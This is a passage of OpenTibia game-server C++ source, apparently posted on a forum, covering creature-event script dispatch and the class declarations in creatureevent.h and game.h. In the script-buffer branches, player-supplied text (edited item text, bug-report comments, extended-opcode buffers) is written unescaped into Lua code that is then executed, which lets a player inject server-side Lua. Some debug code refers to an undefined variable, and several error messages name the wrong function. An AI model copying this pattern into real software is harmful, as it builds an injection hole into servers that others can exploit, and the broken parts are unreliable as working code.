if(target) scriptstream << env->addThing(target); else scriptstream << "nil"; scriptstream << std::endl << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ std::stringstream desc; desc << creature->getName(); env->setEventDesc(desc.str()); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(creature->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(creature)); lua_pushnumber(L, env->addThing(target)); bool result = m_interface->callFunction(2); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executeCast] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executeKill(Creature* creature, Creature* target, bool lastHit) { //onKill(cid, target, lastHit) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(creature->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(creature) << std::endl; scriptstream << "local target = " << env->addThing(target) << std::endl; scriptstream << "local lastHit = " << (lastHit ? "true" : "false") << std::endl; scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ std::stringstream desc; desc << creature->getName(); env->setEventDesc(desc.str()); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(creature->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(creature)); lua_pushnumber(L, env->addThing(target)); lua_pushboolean(L, lastHit); bool result = m_interface->callFunction(3); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executeKill] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executeDeath(Creature* creature, Item* corpse, DeathList deathList) { //onDeath(cid, corpse, deathList) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(creature->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(creature) << std::endl; env->streamThing(scriptstream, "corpse", corpse, env->addThing(corpse)); scriptstream << "local deathList = {}" << std::endl; for(DeathList::iterator it = deathList.begin(); it != deathList.end(); ++it) { scriptstream << "deathList:insert("; if(it->isCreatureKill()) scriptstream << env->addThing(it->getKillerCreature()); else scriptstream << it->getKillerName(); scriptstream << ")" << std::endl; } scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ char desc[35]; sprintf(desc, "%s", creature->getName().c_str()); env->setEventDesc(desc); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(creature->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(creature)); LuaScriptInterface::pushThing(L, corpse, env->addThing(corpse)); lua_newtable(L); DeathList::iterator it = deathList.begin(); for(int32_t i = 1; it != deathList.end(); ++it, ++i) { lua_pushnumber(L, i); if(it->isCreatureKill()) lua_pushnumber(L, env->addThing(it->getKillerCreature())); else lua_pushstring(L, it->getKillerName().c_str()); lua_settable(L, -3); } bool result = m_interface->callFunction(3); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executeDeath] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executePrepareDeath(Creature* creature, DeathList deathList) { //onPrepareDeath(cid, deathList) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(creature->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(creature) << std::endl; scriptstream << "local deathList = {}" << std::endl; for(DeathList::iterator it = deathList.begin(); it != deathList.end(); ++it) { scriptstream << "deathList:insert("; if(it->isCreatureKill()) scriptstream << env->addThing(it->getKillerCreature()); else scriptstream << it->getKillerName(); scriptstream << ")" << std::endl; } scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ char desc[35]; sprintf(desc, "%s", creature->getName().c_str()); env->setEventDesc(desc); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(creature->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(creature)); lua_newtable(L); DeathList::iterator it = deathList.begin(); for(int32_t i = 1; it != deathList.end(); ++it, ++i) { lua_pushnumber(L, i); if(it->isCreatureKill()) lua_pushnumber(L, env->addThing(it->getKillerCreature())); else lua_pushstring(L, it->getKillerName().c_str()); lua_settable(L, -3); } bool result = m_interface->callFunction(2); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executePrepareDeath] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executeTextEdit(Player* player, Item* item, std::string newText) { //onTextEdit(cid, item, newText) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(player->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(player) << std::endl; env->streamThing(scriptstream, "item", item, env->addThing(item)); scriptstream << "local newText = " << newText.c_str() << std::endl; scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ char desc[35]; sprintf(desc, "%s", player->getName().c_str()); env->setEventDesc(desc); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(player->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(player)); LuaScriptInterface::pushThing(L, item, env->addThing(item)); lua_pushstring(L, newText.c_str()); bool result = m_interface->callFunction(3); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executeTextEdit] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executeReportBug(Player* player, std::string comment) { //onReportBug(cid, comment) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(player->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(player) << std::endl; scriptstream << "local comment = " << comment.c_str() << std::endl; scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ char desc[35]; sprintf(desc, "%s", player->getName().c_str()); env->setEventDesc(desc); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(player->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(player)); lua_pushstring(L, comment.c_str()); bool result = m_interface->callFunction(2); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executeReportBug] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executePush(Player* player, Creature* target) { //onPush(cid, target) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(player->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(player) << std::endl; scriptstream << "local target = " << env->addThing(target) << std::endl; scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ std::stringstream desc; desc << player->getName(); env->setEventDesc(desc.str()); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(player->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(player)); lua_pushnumber(L, env->addThing(target)); bool result = m_interface->callFunction(2); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executePush] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executeTarget(Creature* creature, Creature* target) { //onTarget(cid, target) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(creature->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(creature) << std::endl; scriptstream << "local target = " << env->addThing(target) << std::endl; scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ std::stringstream desc; desc << creature->getName(); env->setEventDesc(desc.str()); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(creature->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(creature)); lua_pushnumber(L, env->addThing(target)); bool result = m_interface->callFunction(2); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executeTarget] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executeFollow(Creature* creature, Creature* target) { //onFollow(cid, target) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(creature->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(creature) << std::endl; scriptstream << "local target = " << env->addThing(target) << std::endl; scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ std::stringstream desc; desc << creature->getName(); env->setEventDesc(desc.str()); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(creature->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(creature)); lua_pushnumber(L, env->addThing(target)); bool result = m_interface->callFunction(2); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executeFollow] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executeExtendedOpcode(Creature* creature, uint8_t opcode, const std::string& buffer) { //onExtendedOpcode(cid, opcode, buffer) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(creature->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(creature) << std::endl; scriptstream << "local opcode = " << (int)opcode << std::endl; scriptstream << "local buffer = " << buffer.c_str() << std::endl; scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ char desc[35]; sprintf(desc, "%s", player->getName().c_str()); env->setEvent(desc); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(creature->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(creature)); lua_pushnumber(L, opcode); lua_pushlstring(L, buffer.c_str(), buffer.length()); bool result = m_interface->callFunction(3); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executeRemoved] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executeOnSpawn(Creature* creature) { //onSpawn(cid) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(creature->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(creature) << std::endl; scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ std::stringstream desc; desc << creature->getName(); env->setEvent(desc.str()); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(creature->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(creature)); bool result = m_interface->callFunction(1); m_interface->releaseEnv(); return result; } } else { std::clog << "[Error - CreatureEvent::executeCast] Call stack overflow." << std::endl; return 0; } } creatureevent.h Citar //////////////////////////////////////////////////////////////////////// // OpenTibia - an opensource roleplaying game //////////////////////////////////////////////////////////////////////// // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. //////////////////////////////////////////////////////////////////////// #ifndef __CREATUREEVENT__ #define __CREATUREEVENT__ #include "enums.h" #include "baseevents.h" #include "tile.h" enum CreatureEventType_t { CREATURE_EVENT_NONE, CREATURE_EVENT_LOGIN, CREATURE_EVENT_LOGOUT, CREATURE_EVENT_CHANNEL_JOIN, CREATURE_EVENT_CHANNEL_LEAVE, CREATURE_EVENT_ADVANCE, CREATURE_EVENT_LOOK, CREATURE_EVENT_DIRECTION, CREATURE_EVENT_OUTFIT, CREATURE_EVENT_MAIL_SEND, CREATURE_EVENT_MAIL_RECEIVE, CREATURE_EVENT_TRADE_REQUEST, CREATURE_EVENT_TRADE_ACCEPT, CREATURE_EVENT_TEXTEDIT, CREATURE_EVENT_REPORTBUG, CREATURE_EVENT_THINK, CREATURE_EVENT_STATSCHANGE, CREATURE_EVENT_COMBAT_AREA, CREATURE_EVENT_PUSH, CREATURE_EVENT_TARGET, CREATURE_EVENT_FOLLOW, CREATURE_EVENT_COMBAT, CREATURE_EVENT_ATTACK, CREATURE_EVENT_CAST, CREATURE_EVENT_KILL, CREATURE_EVENT_DEATH, CREATURE_EVENT_PREPAREDEATH, CREATURE_EVENT_SPAWN, CREATURE_EVENT_EXTENDED_OPCODE // otclient additional network opcodes }; enum StatsChange_t { STATSCHANGE_HEALTHGAIN, STATSCHANGE_HEALTHLOSS, STATSCHANGE_MANAGAIN, STATSCHANGE_MANALOSS }; class CreatureEvent; class CreatureEvents : public BaseEvents { public: CreatureEvents(); virtual ~CreatureEvents(); // global events bool playerLogin(Player* player); bool playerLogout(Player* player, bool forceLogout); CreatureEvent* getEventByName(const std::string& name, bool forceLoaded = true); protected: virtual std::string getScriptBaseName() const {return "creaturescripts";} virtual void clear(); virtual Event* getEvent(const std::string& nodeName); virtual bool registerEvent(Event* event, xmlNodePtr p, bool override); virtual LuaScriptInterface& getInterface() {return m_interface;} LuaScriptInterface m_interface; //creature events typedef std::map<std::string, CreatureEvent*> CreatureEventList; CreatureEventList m_creatureEvents; }; struct DeathEntry; typedef std::vector<DeathEntry> DeathList; typedef std::map<uint32_t, Player*> UsersMap; class CreatureEvent : public Event { public: CreatureEvent(LuaScriptInterface* _interface); virtual ~CreatureEvent() {} virtual bool configureEvent(xmlNodePtr p); bool isLoaded() const {return m_isLoaded;} const std::string& getName() const {return m_eventName;} CreatureEventType_t getEventType() const {return m_type;} void copyEvent(CreatureEvent* creatureEvent); void clearEvent(); //scripting uint32_t executeLogin(Player* player); uint32_t executeLogout(Player* player, bool forceLogout); uint32_t executeChannelJoin(Player* player, uint16_t channelId, UsersMap usersMap); uint32_t executeChannelLeave(Player* player, uint16_t channelId, UsersMap usersMap); uint32_t executeAdvance(Player* player, skills_t skill, uint32_t oldLevel, uint32_t newLevel); uint32_t executeLook(Player* player, Thing* thing, const Position& position, int16_t stackpos, int32_t lookDistance); uint32_t executeMailSend(Player* player, Player* receiver, Item* item, bool openBox); uint32_t executeMailReceive(Player* player, Player* sender, Item* item, bool openBox); uint32_t executeTradeRequest(Player* player, Player* target, Item* item); uint32_t executeTradeAccept(Player* player, Player* target, Item* item, Item* targetItem); uint32_t executeTextEdit(Player* player, Item* item, std::string newText); uint32_t executeReportBug(Player* player, std::string comment); uint32_t executeThink(Creature* creature, uint32_t interval); uint32_t executeDirection(Creature* creature, Direction old, Direction current); uint32_t executeOutfit(Creature* creature, const Outfit_t& old, const Outfit_t& current); uint32_t executeStatsChange(Creature* creature, Creature* attacker, StatsChange_t type, CombatType_t combat, int32_t value); uint32_t executeCombatArea(Creature* creature, Tile* tile, bool isAggressive); uint32_t executePush(Player* player, Creature* target); uint32_t executeTarget(Creature* creature, Creature* target); uint32_t executeFollow(Creature* creature, Creature* target); uint32_t executeCombat(Creature* creature, Creature* target); uint32_t executeAttack(Creature* creature, Creature* target); uint32_t executeCast(Creature* creature, Creature* target = NULL); uint32_t executeKill(Creature* creature, Creature* target, bool lastHit); uint32_t executeDeath(Creature* creature, Item* corpse, DeathList deathList); uint32_t executePrepareDeath(Creature* creature, DeathList deathList); uint32_t executeOnSpawn(Creature* creature); uint32_t executeExtendedOpcode(Creature* creature, uint8_t opcode, const std::string& buffer); // protected: virtual std::string getScriptEventName() const; virtual std::string getScriptEventParams() const; bool m_isLoaded; std::string m_eventName; CreatureEventType_t m_type; }; #endif game.h Citar //////////////////////////////////////////////////////////////////////// // OpenTibia - an opensource roleplaying game //////////////////////////////////////////////////////////////////////// // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. //////////////////////////////////////////////////////////////////////// #ifndef __GAME__ #define __GAME__ #include "otsystem.h" #include "enums.h" #include "templates.h" #include "scheduler.h" #include "map.h" #include "spawn.h" #include "item.h" #include "player.h" #include "npc.h" #include "monster.h" class ServiceManager; class Creature; class Player; class Monster; class Npc; class CombatInfo; enum stackposType_t { STACKPOS_NORMAL, STACKPOS_MOVE, STACKPOS_LOOK, STACKPOS_USE, STACKPOS_USEITEM }; enum WorldType_t { WORLD_TYPE_FIRST = 1, WORLD_TYPE_NO_PVP = WORLD_TYPE_FIRST, WORLD_TYPE_PVP = 2, WORLD_TYPE_PVP_ENFORCED = 3, WORLD_TYPE_LAST = WORLD_TYPE_PVP_ENFORCED }; enum GameState_t { GAME_STATE_FIRST = 1, GAME_STATE_STARTUP = GAME_STATE_FIRST, GAME_STATE_INIT = 2, GAME_STATE_NORMAL = 3, GAME_STATE_MAINTAIN = 4, GAME_STATE_CLOSED = 5, GAME_STATE_CLOSING = 6, GAME_STATE_SHUTDOWN = 7, GAME_STATE_LAST = GAME_STATE_SHUTDOWN }; enum LightState_t { LIGHT_STATE_DAY, LIGHT_STATE_NIGHT, LIGHT_STATE_SUNSET, LIGHT_STATE_SUNRISE }; enum ReloadInfo_t { RELOAD_FIRST = 1, RELOAD_ACTIONS = RELOAD_FIRST, RELOAD_CHAT = 2, RELOAD_CONFIG = 3, RELOAD_CREATUREEVENTS = 4, RELOAD_GAMESERVERS = 5, RELOAD_GLOBALEVENTS = 6, RELOAD_GROUPS = 7, RELOAD_HIGHSCORES = 8, RELOAD_HOUSEPRICES = 9, RELOAD_ITEMS = 10, RELOAD_MONSTERS = 11, RELOAD_MOVEEVENTS = 12, RELOAD_NPCS = 13, RELOAD_OUTFITS = 14, RELOAD_QUESTS = 15, RELOAD_RAIDS = 16, RELOAD_SPELLS = 17, RELOAD_STAGES = 18, RELOAD_TALKACTIONS = 19, RELOAD_VOCATIONS = 20, RELOAD_WEAPONS = 21, RELOAD_MODS = 22, RELOAD_ALL = 23, RELOAD_LAST = RELOAD_MODS }; struct RuleViolation { RuleViolation(Player* _reporter, const std::string& _text, uint32_t _time): reporter(_reporter), gamemaster(NULL), text(_text), time(_time), isOpen(true) {} Player* reporter; Player* gamemaster; std::string text; uint32_t time; bool isOpen; private: RuleViolation(const RuleViolation&); }; struct RefreshBlock_t { TileItemVector list; uint64_t lastRefresh; }; typedef std::map<uint32_t, shared_ptr<RuleViolation> > RuleViolationsMap; typedef std::map<Tile*, RefreshBlock_t> RefreshTiles; typedef std::vector< std::pair<std::string, uint32_t> > Highscore; typedef std::list<Position> Trash; typedef std::map<int32_t, float> StageList; #define EVENT_LIGHTINTERVAL 10000 #define EVENT_DECAYINTERVAL 1000 #define EVENT_DECAYBUCKETS 16 #define STATE_DELAY 1000 /** * Main Game class. * This class is responsible to control everything that happens */ class Game { public: Game(); virtual ~Game(); void start(ServiceManager* servicer); Highscore getHighscore(uint16_t skill); std::string getHighscoreString(uint16_t skill); void checkHighscores(); bool reloadHighscores(); void prepareGlobalSave(); void globalSave(); /** * Load a map. * \param filename Mapfile to load * \returns int32_t 0 built-in spawns, 1 needs xml spawns, 2 needs sql spawns, -1 if got error */ int32_t loadMap(std::string filename); /** * Get the map size - info purpose only * \param width width of the map * \param height height of the map */ void getMapDimensions(uint32_t& width, uint32_t& height) { width = map->mapWidth; height = map->mapHeight; return; } void setWorldType(WorldType_t type) {worldType = type;} WorldType_t getWorldType() const {return worldType;} Cylinder* internalGetCylinder(Player* player, const Position& pos); Thing* internalGetThing(Player* player, const Position& pos, int32_t index, uint32_t spriteId = 0, stackposType_t type = STACKPOS_NORMAL); void internalGetPosition(Item* item, Position& pos, int16_t& stackpos); std::string getTradeErrorDescription(ReturnValue ret, Item* item); /** * Get a single tile of the map. * \returns A pointer to the tile */ Tile* getTile(int32_t x, int32_t y, int32_t z) {return map->getTile(x, y, z);} Tile* getTile(const Position& pos) {return map->getTile(pos);} /** * Set a single tile of the map, position is read from this tile */ void setTile(Tile* newTile) {if(map) return map->setTile(newTile->getPosition(), newTile);} /** * Get a leaf of the map. * \returns A pointer to a leaf */ QTreeLeafNode* getLeaf(uint32_t x, uint32_t y) {return map->getLeaf(x, y);} /** * Returns a creature based on the unique creature identifier * \param id is the unique creature id to get a creature pointer to * \returns A Creature pointer to the creature */ Creature* getCreatureByID(uint32_t id); /** * Returns a player based on the unique creature identifier * \param id is the unique player id to get a player pointer to * \returns A Pointer to the player */ Player* getPlayerByID(uint32_t id); /** * Returns a creature based on a string name identifier * \param s is the name identifier * \returns A Pointer to the creature */ Creature* getCreatureByName(std::string s); /** * Returns a player based on a string name identifier * \param s is the name identifier * \returns A Pointer to the player */ Player* getPlayerByName(std::string s); /** * Returns a player based on a string name identifier * this function returns a pointer even if the player is offline, * it is up to the caller of the function to delete the pointer - if the player is offline * use isOffline() to determine if the player was offline * \param s is the name identifier * \return A Pointer to the player */ Player* getPlayerByNameEx(const std::string& s); /** * Returns a player based on a guid identifier * this function returns a pointer even if the player is offline, * it is up to the caller of the function to delete the pointer - if the player is offline * use isOffline() to determine if the player was offline * \param guid is the identifier * \return A Pointer to the player */ Player* getPlayerByGuid(uint32_t guid); /** * Returns a player based on a guid identifier * this function returns a pointer even if the player is offline, * it is up to the caller of the function to delete the pointer - if the player is offline * use isOffline() to determine if the player was offline * \param guid is the identifier */ Player* getPlayerByGuidEx(uint32_t guid); /** * Returns a player based on a string name identifier, with support for the "~" wildcard. * \param s is the name identifier, with or without wildcard * \param player will point to the found player (if any) * \return "RET_PLAYERWITHTHISNAMEISNOTONLINE" or "RET_NAMEISTOOAMBIGUOUS" */ ReturnValue getPlayerByNameWildcard(std::string s, Player*& player); /** * Returns a player based on an account number identifier * \param acc is the account identifier * \returns A Pointer to the player */ Player* getPlayerByAccount(uint32_t acc); /** * Returns all players based on their name * \param s is the player name * \return A vector of all players with the selected name */ PlayerVector getPlayersByName(std::string s); /** * Returns all players based on their account number identifier * \param acc is the account identifier * \return A vector of all players with the selected account number */ PlayerVector getPlayersByAccount(uint32_t acc); /** * Returns all players with a certain IP address * \param ip is the IP address of the clients, as an unsigned long * \param mask An IP mask, default 255.255.255.255 * \return A vector of all players with the selected IP */ PlayerVector getPlayersByIP(uint32_t ip, uint32_t mask = 0xFFFFFFFF); /** * Place Creature on the map without sending out events to the surrounding. * \param creature Creature to place on the map * \param pos The position to place the creature * \param forced If true, placing the creature will not fail because of obstacles (creatures/items) */ bool internalPlaceCreature(Creature* creature, const Position& pos, bool extendedPos = false, bool forced = false); /** * Place Creature on the map. * \param creature Creature to place on the map * \param pos The position to place the creature * \param forced If true, placing the creature will not fail because of obstacles (creatures/items) */ bool placeCreature(Creature* creature, const Position& pos, bool extendedPos = false, bool forced = false); ReturnValue placeSummon(Creature* creature, const std::string& name); /** * Remove Creature from the map. * Removes the Creature the map * \param c Creature to remove */ bool removeCreature(Creature* creature, bool isLogout = true); void addCreatureCheck(Creature* creature); void removeCreatureCheck(Creature* creature); uint32_t getPlayersOnline() {return (uint32_t)Player::autoList.size();} uint32_t getMonstersOnline() {return (uint32_t)Monster::autoList.size();} uint32_t getNpcsOnline() {return (uint32_t)Npc::autoList.size();} uint32_t getCreaturesOnline() {return (uint32_t)autoList.size();} uint32_t getPlayersRecord() {return playersRecord;} void getWorldLightInfo(LightInfo& lightInfo); void getSpectators(SpectatorVec& list, const Position& centerPos, bool checkforduplicate = false, bool multifloor = false, int32_t minRangeX = 0, int32_t maxRangeX = 0, int32_t minRangeY = 0, int32_t maxRangeY = 0) {map->getSpectators(list, centerPos, checkforduplicate, multifloor, minRangeX, maxRangeX, minRangeY, maxRangeY);} const SpectatorVec& getSpectators(const Position& centerPos) {return map->getSpectators(centerPos);} void clearSpectatorCache() {if(map) map->clearSpectatorCache();} ReturnValue internalMoveCreature(Creature* creature, Direction direction, uint32_t flags = 0); ReturnValue internalMoveCreature(Creature* actor, Creature* creature, Cylinder* fromCylinder, Cylinder* toCylinder, uint32_t flags = 0); ReturnValue internalMoveItem(Creature* actor, Cylinder* fromCylinder, Cylinder* toCylinder, int32_t index, Item* item, uint32_t count, Item** _moveItem, uint32_t flags = 0); ReturnValue internalAddItem(Creature* actor, Cylinder* toCylinder, Item* item, int32_t index = INDEX_WHEREEVER, uint32_t flags = 0, bool test = false); ReturnValue internalRemoveItem(Creature* actor, Item* item, int32_t count = -1, bool test = false, uint32_t flags = 0); ReturnValue internalPlayerAddItem(Creature* actor, Player* player, Item* item, bool dropOnMap = true); /** * Find an item of a certain type * \param cylinder to search the item * \param itemId is the item to remove * \param subType is the extra type an item can have such as charges/fluidtype, default is -1 * meaning it's not used * \param depthSearch if true it will check child containers aswell * \returns A pointer to the item to an item and NULL if not found */ Item* findItemOfType(Cylinder* cylinder, uint16_t itemId, bool depthSearch = true, int32_t subType = -1); /** * Remove item(s) of a certain type * \param cylinder to remove the item(s) from * \param itemId is the item to remove * \param count is the amount to remove * \param subType is the extra type an item can have such as charges/fluidtype, default is -1 * meaning it's not used * \returns true if the removal was successful */ bool removeItemOfType(Cylinder* cylinder, uint16_t itemId, int32_t count, int32_t subType = -1); /** * Get the amount of money in a a cylinder * \returns the amount of money found */ uint32_t getMoney(const Cylinder* cylinder); /** * Remove/Add item(s) with a monetary value * \param cylinder to remove the money from * \param money is the amount to remove * \param flags optional flags to modifiy the default behaviour * \returns true if the removal was successful */ bool removeMoney(Cylinder* cylinder, int32_t money, uint32_t flags = 0); /** * Add item(s) with monetary value * \param cylinder which will receive money * \param money the amount to give * \param flags optional flags to modify default behavior */ void addMoney(Cylinder* cylinder, int32_t money, uint32_t flags = 0); /** * Transform one item to another type/count * \param item is the item to transform * \param newId is the new itemid * \param newCount is the new count value, use default value (-1) to not change it * \returns true if the tranformation was successful */ Item* transformItem(Item* item, uint16_t newId, int32_t newCount = -1); /** * Teleports an object to another position * \param thing is the object to teleport * \param newPos is the new position * \param flags optional flags to modify default behavior * \returns true if the teleportation was successful */ ReturnValue internalTeleport(Thing* thing, const Position& newPos, bool pushMove, uint32_t flags = 0); /** * Turn a creature to a different direction. * \param creature Creature to change the direction * \param dir Direction to turn to */ bool internalCreatureTurn(Creature* creature, Direction dir); /** * Creature wants to say something. * \param creature Creature pointer * \param type Type of message * \param text The text to say * \param ghostMode Is creature on ghost mode * \param spectators Send message only to creatures pointed in vector * \param pos Appear as sent from different position */ bool internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators = NULL, Position* pos = NULL); bool internalStartTrade(Player* player, Player* partner, Item* tradeItem); bool internalCloseTrade(Player* player); //Implementation of player invoked events bool playerBroadcastMessage(Player* player, SpeakClasses type, const std::string& text); bool playerReportBug(uint32_t playerId, std::string bug); bool playerViolationWindow(uint32_t playerId, std::string name, uint8_t reason, ViolationAction_t action, std::string comment, std::string statement, uint32_t statementId, bool ipBanishment); bool playerMoveThing(uint32_t playerId, const Position& fromPos, uint16_t spriteId, int16_t fromStackpos, const Position& toPos, uint8_t count); bool playerMoveCreature(uint32_t playerId, uint32_t movingCreatureId, const Position& movingCreatureOrigPos, const Position& toPos); bool playerMoveItem(uint32_t playerId, const Position& fromPos, uint16_t spriteId, int16_t 